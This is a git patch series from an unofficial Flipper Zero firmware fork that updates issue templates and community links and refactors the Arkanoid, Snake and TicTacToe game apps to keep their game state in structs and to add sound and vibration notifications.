-/lib/fatfs/ @skotopes @DrZlo13 @hedger -/lib/flipper_format/ @skotopes @DrZlo13 @hedger -/lib/fnv1a-hash/ @skotopes @DrZlo13 @hedger -/lib/heatshrink/ @skotopes @DrZlo13 @hedger -/lib/infrared/ @skotopes @DrZlo13 @hedger @gsurkov -/lib/libusb_stm32/ @skotopes @DrZlo13 @hedger @nminaylov -/lib/littlefs/ @skotopes @DrZlo13 @hedger -/lib/lfs_config.h @skotopes @DrZlo13 @hedger -/lib/micro-ecc/ @skotopes @DrZlo13 @hedger @nminaylov -/lib/microtar/ @skotopes @DrZlo13 @hedger -/lib/mlib/ @skotopes @DrZlo13 @hedger -/lib/nanopb/ @skotopes @DrZlo13 @hedger -/lib/nfc/ @skotopes @DrZlo13 @hedger @gornekich -/lib/one_wire/ @skotopes @DrZlo13 @hedger -/lib/qrcode/ @skotopes @DrZlo13 @hedger -/lib/subghz/ @skotopes @DrZlo13 @hedger @Skorpionm -/lib/toolbox/ @skotopes @DrZlo13 @hedger -/lib/u8g2/ @skotopes @DrZlo13 @hedger -/lib/update_util/ @skotopes @DrZlo13 @hedger - -# Make tools -/make/ @skotopes @DrZlo13 @hedger @aprosvetova - -# Helper scripts -/scripts/ @skotopes @DrZlo13 @hedger diff --git a/.github/ISSUE_TEMPLATE/01_bug_report.yml b/.github/ISSUE_TEMPLATE/01_bug_report.yml index 844d62c48..a5a8b9828 100644 --- a/.github/ISSUE_TEMPLATE/01_bug_report.yml +++ b/.github/ISSUE_TEMPLATE/01_bug_report.yml @@ -1,46 +1,45 @@ name: Bug report description: File a bug reports regarding the firmware. -labels: ['bug'] +labels: ["bug"] body: -- type: markdown - attributes: - value: | - Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero firmware. - If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one) -- type: textarea - id: description - attributes: - label: Describe the bug. - description: "A clear and concise description of what the bug is." - validations: - required: true -- type: textarea - id: repro - attributes: - label: Reproduction - description: "How can this bug be reproduced?" - placeholder: | - 1. Switch on... - 2. Press button '....' - 3. Wait for the moon phase - 4. It burns - validations: - required: true -- type: input - id: target - attributes: - label: Target - description: Specify the target - # Target seems to be largely ignored by outside sources. -- type: textarea - id: logs - attributes: - label: Logs - description: Attach your debug logs here - render: Text - # Avoid rendering as Markdown here. -- type: textarea - id: anything-else - attributes: - label: Anything else? - description: Let us know if you have anything else to share. + - type: markdown + attributes: + value: | + Thank you for taking the time to fill out an issue, this template is meant for any issues related to the Flipper Zero unleashed firmware. + - type: textarea + id: description + attributes: + label: Describe the bug. + description: "A clear and concise description of what the bug is." + validations: + required: true + - type: textarea + id: repro + attributes: + label: Reproduction + description: "How can this bug be reproduced?" + placeholder: | + 1. Switch on... + 2. Press button '....' + 3. Wait for the moon phase + 4. It burns + validations: + required: true + - type: input + id: target + attributes: + label: Target + description: Specify the target + # Target seems to be largely ignored by outside sources. + - type: textarea + id: logs + attributes: + label: Logs + description: Attach your debug logs here + render: Text + # Avoid rendering as Markdown here. + - type: textarea + id: anything-else + attributes: + label: Anything else? + description: Let us know if you have anything else to share. diff --git a/.github/ISSUE_TEMPLATE/02_enhancements.yml b/.github/ISSUE_TEMPLATE/02_enhancements.yml index 1768e193c..643d11cfb 100644 --- a/.github/ISSUE_TEMPLATE/02_enhancements.yml +++ b/.github/ISSUE_TEMPLATE/02_enhancements.yml @@ -1,21 +1,20 @@ name: Enhancements description: Suggest improvements for any existing functionality within the firmware. body: -- type: markdown - attributes: - value: | - Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality. - If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one) -- type: textarea - id: proposal - attributes: - label: "Describe the enhancement you're suggesting." - description: | - Feel free to describe in as much detail as you wish. - validations: - required: true -- type: textarea - id: anything-else - attributes: - label: Anything else? - description: Let us know if you have anything else to share. + - type: markdown + attributes: + value: | + Thank you for taking the time to fill out an issue. This template is meant for feature requests and improvements to already existing functionality. + - type: textarea + id: proposal + attributes: + label: "Describe the enhancement you're suggesting." + description: | + Feel free to describe in as much detail as you wish. + validations: + required: true + - type: textarea + id: anything-else + attributes: + label: Anything else? + description: Let us know if you have anything else to share. diff --git a/.github/ISSUE_TEMPLATE/03_feature_request.yml b/.github/ISSUE_TEMPLATE/03_feature_request.yml index 2af114547..91100bce3 100644 --- a/.github/ISSUE_TEMPLATE/03_feature_request.yml +++ b/.github/ISSUE_TEMPLATE/03_feature_request.yml @@ -1,24 +1,23 @@ name: Feature Request description: For feature requests regarding the firmware. -labels: ['feature request'] +labels: ["feature request"] body: -- type: markdown - attributes: - value: | - Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions. - If you require help with the Flipper zero and its firmware, we ask that you join [our forum](https://forum.flipperzero.one) -- type: textarea - id: proposal - attributes: - label: "Description of the feature you're suggesting." - description: | - Please describe your feature request in as many details as possible. - - Describe what it should do. - - Note whetever it is to extend existing functionality or introduce new functionality. - validations: - required: true -- type: textarea - id: anything-else - attributes: - label: Anything else? - description: Let us know if you have anything else to share. + - type: markdown + attributes: + value: | + Thank you for taking the time to fill out an issue, this template is meant for any feature suggestions. + - type: textarea + id: proposal + attributes: + label: "Description of the feature you're suggesting." + description: | + Please describe your feature request in as many details as possible. + - Describe what it should do. + - Note whetever it is to extend existing functionality or introduce new functionality. + validations: + required: true + - type: textarea + id: anything-else + attributes: + label: Anything else? + description: Let us know if you have anything else to share. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml index 55ff9d29e..2c7ccdfda 100644 --- a/.github/ISSUE_TEMPLATE/config.yml +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -1,5 +1,8 @@ blank_issues_enabled: true contact_links: - - name: Need help? - url: https://forum.flipperzero.one - about: For any question regarding on how to use the Flipper Zero and its firmware. + - name: Telegram + url: https://t.me/flipperzero_unofficial + about: Unofficial Telegram chat + - name: Discord + url: https://discord.gg/58D6E8BtTU + about: Unofficial Discord Community diff --git a/applications/arkanoid/application.fam b/applications/arkanoid/application.fam index fc7aeee4a..1d43561fd 100644 --- a/applications/arkanoid/application.fam +++ b/applications/arkanoid/application.fam @@ -5,6 +5,6 @@ App( entry_point="arkanoid_game_app", cdefines=["APP_ARKANOID_GAME"], requires=["gui"], - stack_size=1 * 1024, + stack_size=3 * 1024, order=30, ) diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 152bf0fcb..27dd13c24 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -3,61 +3,53 @@ #include #include #include +#include +#include #define TAG "Arkanoid" -unsigned int COLUMNS = 13; //Columns of bricks -unsigned int ROWS = 4; //Rows of bricks -int dx = -1; //Initial movement of ball -int dy = -1; //Initial movement of ball -int xb; //Balls starting possition -int yb; //Balls starting possition -bool released; //If the ball has been released by the player -bool paused = false; //If the game has been paused -int xPaddle; //X position of paddle -bool isHit[4][13]; //Array of if bricks are hit or not -bool bounced = false; //Used to fix double bounce glitch -int lives = 3; //Amount of lives -int level = 1; //Current level -unsigned int score = 0; //Score for the game -unsigned int brickCount; //Amount of bricks hit -int pad1, pad2, pad3; //Button press buffer used to stop pause repeating -int oldpad, oldpad2, oldpad3; -char text[16]; //General string buffer -bool start = false; //If in menu or in game -bool initialDraw = false; //If the inital draw has happened -char initials[3]; //Initials used in high score - -//Ball Bounds used in collision detection -int leftBall; -int rightBall; -int topBall; -int bottomBall; - -//Brick Bounds used in collision detection -int leftBrick; -int rightBrick; -int topBrick; -int bottomBrick; - -int tick; - #define FLIPPER_LCD_WIDTH 128 #define FLIPPER_LCD_HEIGHT 64 typedef enum { EventTypeTick, EventTypeKey } EventType; -typedef enum { DirectionUp, DirectionRight, DirectionDown, DirectionLeft } Direction; - -typedef enum { GameStatePlaying, GameStateGameOver } GameState; +typedef struct { + //Brick Bounds used in collision detection + int leftBrick; + int rightBrick; + int topBrick; + int bottomBrick; + bool isHit[4][13]; //Array of if bricks are hit or not +} BrickState; typedef struct { - int x; - int y; -} Point; + int dx; //Initial movement of ball + int dy; //Initial movement of ball + int xb; //Balls starting possition + int yb; //Balls starting possition + bool released; //If the ball has been released by the player + //Ball Bounds used in collision detection + int leftBall; + int rightBall; + int topBall; + int bottomBall; +} BallState; typedef struct { - GameState game_state; + BallState ball_state; + BrickState brick_state; + NotificationApp* notify; + unsigned int COLUMNS; //Columns of bricks + unsigned int ROWS; //Rows of bricks + bool initialDraw; //If the inital draw has happened + int xPaddle; //X position of paddle + char text[16]; //General string buffer + bool bounced; //Used to fix double bounce glitch + int lives; //Amount of lives + int level; //Current level + unsigned int score; //Score for the game + unsigned int brickCount; //Amount of bricks hit + int tick; //Tick counter } ArkanoidState; typedef struct { @@ -65,128 +57,128 @@ typedef struct { InputEvent input; } GameEvent; +static const NotificationSequence sequence_short_sound = { + &message_note_c5, + &message_delay_50, + &message_sound_off, + NULL, +}; + // generate number in range [min,max) int rand_range(int min, int max) { int number = min + rand() % (max - min); return number; } -void intro(Canvas* canvas) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 46, 0, "Arkanoid"); - - //arduboy.tunes.tone(987, 160); - //delay(160); - //arduboy.tunes.tone(1318, 400); - //delay(2000); -} - -void move_ball(Canvas* canvas) { - tick++; - if(released) { +void move_ball(Canvas* canvas, ArkanoidState* st) { + st->tick++; + if(st->ball_state.released) { //Move ball - if(abs(dx) == 2) { - xb += dx / 2; + if(abs(st->ball_state.dx) == 2) { + st->ball_state.xb += st->ball_state.dx / 2; // 2x speed is really 1.5 speed - if(tick % 2 == 0) xb += dx / 2; + if(st->tick % 2 == 0) st->ball_state.xb += st->ball_state.dx / 2; } else { - xb += dx; + st->ball_state.xb += st->ball_state.dx; } - yb = yb + dy; + st->ball_state.yb = st->ball_state.yb + st->ball_state.dy; //Set bounds - leftBall = xb; - rightBall = xb + 2; - topBall = yb; - bottomBall = yb + 2; + st->ball_state.leftBall = st->ball_state.xb; + st->ball_state.rightBall = st->ball_state.xb + 2; + st->ball_state.topBall = st->ball_state.yb; + st->ball_state.bottomBall = st->ball_state.yb + 2; //Bounce off top edge - if(yb <= 0) { - yb = 2; - dy = -dy; - // arduboy.tunes.tone(523, 250); + if(st->ball_state.yb <= 0) { + st->ball_state.yb = 2; + st->ball_state.dy = -st->ball_state.dy; } //Lose a life if bottom edge hit - if(yb >= FLIPPER_LCD_HEIGHT) { - canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); - xPaddle = 54; - yb = 60; - released = false; - lives--; + if(st->ball_state.yb >= FLIPPER_LCD_HEIGHT) { + canvas_draw_frame(canvas, st->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); + st->xPaddle = 54; + st->ball_state.yb = 60; + st->ball_state.released = false; + st->lives--; - // arduboy.tunes.tone(175, 250); if(rand_range(0, 2) == 0) { - dx = 1; + st->ball_state.dx = 1; } else { - dx = -1; + st->ball_state.dx = -1; } } //Bounce off left side - if(xb <= 0) { - xb = 2; - dx = -dx; - // arduboy.tunes.tone(523, 250); + if(st->ball_state.xb <= 0) { + st->ball_state.xb = 2; + st->ball_state.dx = -st->ball_state.dx; } //Bounce off right side - if(xb >= FLIPPER_LCD_WIDTH - 2) { - xb = FLIPPER_LCD_WIDTH - 4; - dx = -dx; + if(st->ball_state.xb >= FLIPPER_LCD_WIDTH - 2) { + st->ball_state.xb = FLIPPER_LCD_WIDTH - 4; + st->ball_state.dx = -st->ball_state.dx; // arduboy.tunes.tone(523, 250); } //Bounce off paddle - if(xb + 1 >= xPaddle && xb <= xPaddle + 12 && yb + 2 >= FLIPPER_LCD_HEIGHT - 1 && - yb <= FLIPPER_LCD_HEIGHT) { - dy = -dy; - dx = ((xb - (xPaddle + 6)) / 3); //Applies spin on the ball - // prevent straight bounce - if(dx == 0) { - dx = (rand_range(0, 2) == 1) ? 1 : -1; + if(st->ball_state.xb + 1 >= st->xPaddle && st->ball_state.xb <= st->xPaddle + 12 && + st->ball_state.yb + 2 >= FLIPPER_LCD_HEIGHT - 1 && + st->ball_state.yb <= FLIPPER_LCD_HEIGHT) { + st->ball_state.dy = -st->ball_state.dy; + st->ball_state.dx = + ((st->ball_state.xb - (st->xPaddle + 6)) / 3); //Applies spin on the ball + // prevent straight bounce, but not prevent roguuemaster from stealing + if(st->ball_state.dx == 0) { + st->ball_state.dx = (rand_range(0, 2) == 1) ? 1 : -1; } - // arduboy.tunes.tone(200, 250); } //Bounce off Bricks - for(unsigned int row = 0; row < ROWS; row++) { - for(unsigned int column = 0; column < COLUMNS; column++) { - if(!isHit[row][column]) { + for(unsigned int row = 0; row < st->ROWS; row++) { + for(unsigned int column = 0; column < st->COLUMNS; column++) { + if(!st->brick_state.isHit[row][column]) { //Sets Brick bounds - leftBrick = 10 * column; - rightBrick = 10 * column + 10; - topBrick = 6 * row + 1; - bottomBrick = 6 * row + 7; + st->brick_state.leftBrick = 10 * column; + st->brick_state.rightBrick = 10 * column + 10; + st->brick_state.topBrick = 6 * row + 1; + st->brick_state.bottomBrick = 6 * row + 7; //If A collison has occured - if(topBall <= bottomBrick && bottomBall >= topBrick && - leftBall <= rightBrick && rightBall >= leftBrick) { - score += (level * 10); + if(st->ball_state.topBall <= st->brick_state.bottomBrick && + st->ball_state.bottomBall >= st->brick_state.topBrick && + st->ball_state.leftBall <= st->brick_state.rightBrick && + st->ball_state.rightBall >= st->brick_state.leftBrick) { + st->score += st->level; + // Blink led when we hit some brick + notification_message(st->notify, &sequence_short_sound); + notification_message(st->notify, &sequence_blink_white_100); - brickCount++; - isHit[row][column] = true; + st->brickCount++; + st->brick_state.isHit[row][column] = true; canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); //Vertical collision - if(bottomBall > bottomBrick || topBall < topBrick) { + if(st->ball_state.bottomBall > st->brick_state.bottomBrick || + st->ball_state.topBall < st->brick_state.topBrick) { //Only bounce once each ball move - if(!bounced) { - dy = -dy; - yb += dy; - bounced = true; - // arduboy.tunes.tone(261, 250); + if(!st->bounced) { + st->ball_state.dy = -st->ball_state.dy; + st->ball_state.yb += st->ball_state.dy; + st->bounced = true; } } //Hoizontal collision - if(leftBall < leftBrick || rightBall > rightBrick) { + if(st->ball_state.leftBall < st->brick_state.leftBrick || + st->ball_state.rightBall > st->brick_state.rightBrick) { //Only bounce once brick each ball move - if(!bounced) { - dx = -dx; - xb += dx; - bounced = true; - // arduboy.tunes.tone(261, 250); + if(!st->bounced) { + st->ball_state.dx = -st->ball_state.dx; + st->ball_state.xb += st->ball_state.dx; + st->bounced = true; } } } @@ -195,15 +187,15 @@ void move_ball(Canvas* canvas) { } //Reset Bounce - bounced = false; + st->bounced = false; } else { //Ball follows paddle - xb = xPaddle + 5; + st->ball_state.xb = st->xPaddle + 5; } } -void draw_lives(Canvas* canvas) { - if(lives == 3) { +void draw_lives(Canvas* canvas, ArkanoidState* arkanoid_state) { + if(arkanoid_state->lives == 3) { canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); @@ -218,7 +210,7 @@ void draw_lives(Canvas* canvas) { canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 15); canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 16); canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 16); - } else if(lives == 2) { + } else if(arkanoid_state->lives == 2) { canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 7); canvas_draw_dot(canvas, 3, FLIPPER_LCD_HEIGHT - 7); canvas_draw_dot(canvas, 4, FLIPPER_LCD_HEIGHT - 8); @@ -236,98 +228,115 @@ void draw_lives(Canvas* canvas) { } } -void draw_score(Canvas* canvas) { - snprintf(text, sizeof(text), "%u", score); - canvas_draw_str_aligned(canvas, FLIPPER_LCD_WIDTH - 2, FLIPPER_LCD_HEIGHT - 6, AlignRight, AlignBottom, text); +void draw_score(Canvas* canvas, ArkanoidState* arkanoid_state) { + snprintf(arkanoid_state->text, sizeof(arkanoid_state->text), "%u", arkanoid_state->score); + canvas_draw_str_aligned( + canvas, + FLIPPER_LCD_WIDTH - 2, + FLIPPER_LCD_HEIGHT - 6, + AlignRight, + AlignBottom, + arkanoid_state->text); } -void draw_ball(Canvas* canvas) { - canvas_draw_dot(canvas, xb, yb); - canvas_draw_dot(canvas, xb + 1, yb); - canvas_draw_dot(canvas, xb, yb + 1); - canvas_draw_dot(canvas, xb + 1, yb + 1); +void draw_ball(Canvas* canvas, ArkanoidState* ast) { + canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb); + canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb); + canvas_draw_dot(canvas, ast->ball_state.xb, ast->ball_state.yb + 1); + canvas_draw_dot(canvas, ast->ball_state.xb + 1, ast->ball_state.yb + 1); - move_ball(canvas); + move_ball(canvas, ast); } -void draw_paddle(Canvas* canvas) { - canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); +void draw_paddle(Canvas* canvas, ArkanoidState* arkanoid_state) { + canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); } -void reset_level(Canvas* canvas) { +void reset_level(Canvas* canvas, ArkanoidState* arkanoid_state) { //Undraw paddle - canvas_draw_frame(canvas, xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); + canvas_draw_frame(canvas, arkanoid_state->xPaddle, FLIPPER_LCD_HEIGHT - 1, 11, 1); //Undraw ball - canvas_draw_dot(canvas, xb, yb); - canvas_draw_dot(canvas, xb + 1, yb); - canvas_draw_dot(canvas, xb, yb + 1); - canvas_draw_dot(canvas, xb + 1, yb + 1); + canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb); + canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb); + canvas_draw_dot(canvas, arkanoid_state->ball_state.xb, arkanoid_state->ball_state.yb + 1); + canvas_draw_dot(canvas, arkanoid_state->ball_state.xb + 1, arkanoid_state->ball_state.yb + 1); //Alter various variables to reset the game - xPaddle = 54; - yb = 60; - brickCount = 0; - released = false; + arkanoid_state->xPaddle = 54; + arkanoid_state->ball_state.yb = 60; + arkanoid_state->brickCount = 0; + arkanoid_state->ball_state.released = false; // Reset all brick hit states - for(unsigned int row = 0; row < ROWS; row++) { - for(unsigned int column = 0; column < COLUMNS; column++) { - isHit[row][column] = false; + for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) { + for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) { + arkanoid_state->brick_state.isHit[row][column] = false; } } } -static void arkanoid_state_init(ArkanoidState* const arkanoid_state) { +static void arkanoid_state_init(ArkanoidState* arkanoid_state) { + // Init notification + arkanoid_state->notify = furi_record_open(RECORD_NOTIFICATION); + // Set the initial game state - arkanoid_state->game_state = GameStatePlaying; + arkanoid_state->COLUMNS = 13; + arkanoid_state->ROWS = 4; + arkanoid_state->ball_state.dx = -1; + arkanoid_state->ball_state.dy = -1; + arkanoid_state->bounced = false; + arkanoid_state->lives = 3; + arkanoid_state->level = 1; + arkanoid_state->score = 0; + arkanoid_state->COLUMNS = 13; + arkanoid_state->COLUMNS = 13; // Reset initial state - initialDraw = false; + arkanoid_state->initialDraw = false; } static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { - const ArkanoidState* arkanoid_state = acquire_mutex((ValueMutex*)ctx, 25); + ArkanoidState* arkanoid_state = acquire_mutex((ValueMutex*)ctx, 25); if(arkanoid_state == NULL) { return; } //Initial level draw - if(!initialDraw) { - initialDraw = true; + if(!arkanoid_state->initialDraw) { + arkanoid_state->initialDraw = true; // Set default font for text - canvas_set_font(canvas, FontPrimary); + canvas_set_font(canvas, FontSecondary); //Draws the new level - reset_level(canvas); + reset_level(canvas, arkanoid_state); } //Draws new bricks and resets their values - for(unsigned int row = 0; row < ROWS; row++) { - for(unsigned int column = 0; column < COLUMNS; column++) { - if(!isHit[row][column]) { + for(unsigned int row = 0; row < arkanoid_state->ROWS; row++) { + for(unsigned int column = 0; column < arkanoid_state->COLUMNS; column++) { + if(!arkanoid_state->brick_state.isHit[row][column]) { canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); } } } - if(lives > 0) { - draw_paddle(canvas); - draw_ball(canvas); - draw_score(canvas); - draw_lives(canvas); + if(arkanoid_state->lives > 0) { + draw_paddle(canvas, arkanoid_state); + draw_ball(canvas, arkanoid_state); + draw_score(canvas, arkanoid_state); + draw_lives(canvas, arkanoid_state); - if(brickCount == ROWS * COLUMNS) { - level++; - reset_level(canvas); + if(arkanoid_state->brickCount == arkanoid_state->ROWS * arkanoid_state->COLUMNS) { + arkanoid_state->level++; + reset_level(canvas, arkanoid_state); } } else { - reset_level(canvas); - initialDraw = false; - start = false; - lives = 3; - score = 0; + reset_level(canvas, arkanoid_state); + arkanoid_state->initialDraw = false; + arkanoid_state->lives = 3; + arkanoid_state->score = 0; } release_mutex((ValueMutex*)ctx, arkanoid_state); @@ -375,7 +384,7 @@ int32_t arkanoid_game_app(void* p) { furi_timer_start(timer, furi_kernel_get_tick_frequency() / 22); // Open GUI and register view_port - Gui* gui = furi_record_open("gui"); + Gui* gui = furi_record_open(RECORD_GUI); gui_add_view_port(gui, view_port, GuiLayerFullscreen); GameEvent event; @@ -393,13 +402,13 @@ int32_t arkanoid_game_app(void* p) { processing = false; break; case InputKeyRight: - if(xPaddle < FLIPPER_LCD_WIDTH - 12) { - xPaddle += 8; + if(arkanoid_state->xPaddle < FLIPPER_LCD_WIDTH - 12) { + arkanoid_state->xPaddle += 8; } break; case InputKeyLeft: - if(xPaddle > 0) { - xPaddle -= 8; + if(arkanoid_state->xPaddle > 0) { + arkanoid_state->xPaddle -= 8; } break; case InputKeyUp: @@ -408,24 +417,24 @@ int32_t arkanoid_game_app(void* p) { break; case InputKeyOk: //Release ball if FIRE pressed - released = true; + arkanoid_state->ball_state.released = true; //Apply random direction to ball on release if(rand_range(0, 2) == 0) { - dx = 1; + arkanoid_state->ball_state.dx = 1; } else { - dx = -1; + arkanoid_state->ball_state.dx = -1; } //Makes sure the ball heads upwards - dy = -1; + arkanoid_state->ball_state.dy = -1; break; } } } } else { // Event timeout - FURI_LOG_D(TAG, "osMessageQueue: Event timeout"); + FURI_LOG_D(TAG, "furi_message_queue: Event timeout"); } view_port_update(view_port); @@ -434,7 +443,8 @@ int32_t arkanoid_game_app(void* p) { furi_timer_free(timer); view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); - furi_record_close("gui"); + furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); view_port_free(view_port); delete_mutex(&state_mutex); diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index 9ad18c632..dfb2716d5 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -61,6 +61,15 @@ typedef struct { InputEvent input; } SnakeEvent; +static const NotificationSequence sequence_short_vibro_and_sound = { + &message_vibro_on, + &message_note_c5, + &message_delay_50, + &message_sound_off, + &message_vibro_off, + NULL, +}; + static void snake_game_render_callback(Canvas* const canvas, void* ctx) { const SnakeState* snake_state = acquire_mutex((ValueMutex*)ctx, 25); if(snake_state == NULL) { @@ -238,7 +247,7 @@ static void snake_game_move_snake(SnakeState* const snake_state, Point const nex snake_state->points[0] = next_step; } -static void snake_game_process_game_step(SnakeState* const snake_state) { +static void snake_game_process_game_step(SnakeState* const snake_state, NotificationApp* notify) { if(snake_state->state == GameStateGameOver) { return; } @@ -273,10 +282,8 @@ static void snake_game_process_game_step(SnakeState* const snake_state) { bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); if(eatFruit) { - NotificationApp* notification = furi_record_open("notification"); - notification_message(notification, &sequence_single_vibro); - notification_message(notification, &sequence_blink_white_100); - furi_record_close("notification"); + notification_message(notify, &sequence_short_vibro_and_sound); + notification_message(notify, &sequence_blink_white_100); snake_state->len++; if(snake_state->len >= MAX_SNAKE_LEN) { @@ -320,6 +327,8 @@ int32_t snake_game_app(void* p) { Gui* gui = furi_record_open(RECORD_GUI); gui_add_view_port(gui, view_port, GuiLayerFullscreen); + NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); + SnakeEvent event; for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); @@ -354,7 +363,7 @@ int32_t snake_game_app(void* p) { } } } else if(event.type == EventTypeTick) { - snake_game_process_game_step(snake_state); + snake_game_process_game_step(snake_state, notification); } } else { // event timeout @@ -368,6 +377,7 @@ int32_t snake_game_app(void* p) { view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close(RECORD_GUI); + furi_record_close(RECORD_NOTIFICATION); view_port_free(view_port); furi_message_queue_free(event_queue); delete_mutex(&state_mutex); diff --git a/applications/tetris_game/application.fam b/applications/tetris_game/application.fam index 406e13eac..496662b30 100644 --- a/applications/tetris_game/application.fam +++ b/applications/tetris_game/application.fam @@ -5,6 +5,6 @@ App( entry_point="tetris_game_app", cdefines=["APP_TETRIS_GAME"], requires=["gui"], - stack_size=1 * 1024, + stack_size=2 * 1024, order=20, ) From baf0214ed1bede74b3580530caf7bcd3f21b7361 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 7 Aug 2022 10:52:03 +0300 Subject: [PATCH 451/461] not use global vars anymore & other fixes in tictactoe game / snake / arkanoid --- applications/arkanoid/application.fam | 2 +- applications/arkanoid/arkanoid_game.c | 2 +- applications/snake_game/snake_game.c | 2 +- applications/tictactoe_game/tictactoe_game.c | 306 ++++++++++--------- 4 files changed, 173 insertions(+), 139 deletions(-) diff --git a/applications/arkanoid/application.fam b/applications/arkanoid/application.fam index 1d43561fd..6c4600b4b 100644 --- a/applications/arkanoid/application.fam +++ b/applications/arkanoid/application.fam @@ -5,6 +5,6 @@ App( entry_point="arkanoid_game_app", cdefines=["APP_ARKANOID_GAME"], requires=["gui"], - stack_size=3 * 1024, + stack_size=4 * 1024, order=30, ) diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 27dd13c24..5260a24e4 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -154,7 +154,7 @@ void move_ball(Canvas* canvas, ArkanoidState* st) { st->score += st->level; // Blink led when we hit some brick notification_message(st->notify, &sequence_short_sound); - notification_message(st->notify, &sequence_blink_white_100); + //notification_message(st->notify, &sequence_blink_white_100); st->brickCount++; st->brick_state.isHit[row][column] = true; diff --git a/applications/snake_game/snake_game.c b/applications/snake_game/snake_game.c index dfb2716d5..e247ca367 100644 --- a/applications/snake_game/snake_game.c +++ b/applications/snake_game/snake_game.c @@ -283,7 +283,7 @@ static void snake_game_process_game_step(SnakeState* const snake_state, Notifica bool eatFruit = (next_step.x == snake_state->fruit.x) && (next_step.y == snake_state->fruit.y); if(eatFruit) { notification_message(notify, &sequence_short_vibro_and_sound); - notification_message(notify, &sequence_blink_white_100); + //notification_message(notify, &sequence_blink_white_100); snake_state->len++; if(snake_state->len >= MAX_SNAKE_LEN) { diff --git a/applications/tictactoe_game/tictactoe_game.c b/applications/tictactoe_game/tictactoe_game.c index d655dd676..0dbe2a5a6 100644 --- a/applications/tictactoe_game/tictactoe_game.c +++ b/applications/tictactoe_game/tictactoe_game.c @@ -6,33 +6,28 @@ #define TAG "TicTacToe" -uint8_t selBoxX; -uint8_t selBoxY; - -uint8_t selX = 2; -uint8_t selY = 2; - -uint16_t scoreX; -uint16_t scoreO; - -char player = 'X'; - -char field[3][3]; -bool fieldx[3][3]; - -const uint8_t coords[3] = {6, 27, 48}; - -bool button_state = false; - typedef enum { EventTypeTick, EventTypeKey } EventType; -typedef enum { DirectionUp, DirectionRight, DirectionDown, DirectionLeft } Direction; - -typedef enum { GameStatePlaying, GameStateGameOver } GameState; - typedef struct { - GameState game_state; FuriTimer* timer; + uint8_t selBoxX; + uint8_t selBoxY; + + uint8_t selX; + uint8_t selY; + + uint16_t scoreX; + uint16_t scoreO; + + char player; + + char field[3][3]; + bool fieldx[3][3]; + + uint8_t coords[3]; + + bool button_state; + } TicTacToeState; typedef struct { @@ -49,15 +44,15 @@ void drawCircle(Canvas* const canvas, uint8_t x, uint8_t y) { canvas_draw_circle(canvas, x + 4, y + 5, 5); } -void player_switch() { - if(player == 'O') { - player = 'X'; - } else if(player == 'X') { - player = 'O'; +void player_switch(TicTacToeState* ts) { + if(ts->player == 'O') { + ts->player = 'X'; + } else if(ts->player == 'X') { + ts->player = 'O'; } } -void tictactoe_draw(Canvas* canvas) { +void tictactoe_draw(Canvas* canvas, TicTacToeState* ts) { // Draws the game field canvas_draw_frame(canvas, 0, 0, 64, 64); // frame canvas_draw_line(canvas, 0, 21, 63, 21); // horizontal line @@ -68,34 +63,34 @@ void tictactoe_draw(Canvas* canvas) { // Draws the game field elements (X or O) for(uint8_t i = 0; i <= 2; i++) { for(uint8_t j = 0; j <= 2; j++) { - if(field[i][j] == 'O') { - drawCircle(canvas, coords[i], coords[j]); - } else if(field[i][j] == 'X') { - drawCross(canvas, coords[i], coords[j]); + if(ts->field[i][j] == 'O') { + drawCircle(canvas, ts->coords[i], ts->coords[j]); + } else if(ts->field[i][j] == 'X') { + drawCross(canvas, ts->coords[i], ts->coords[j]); } 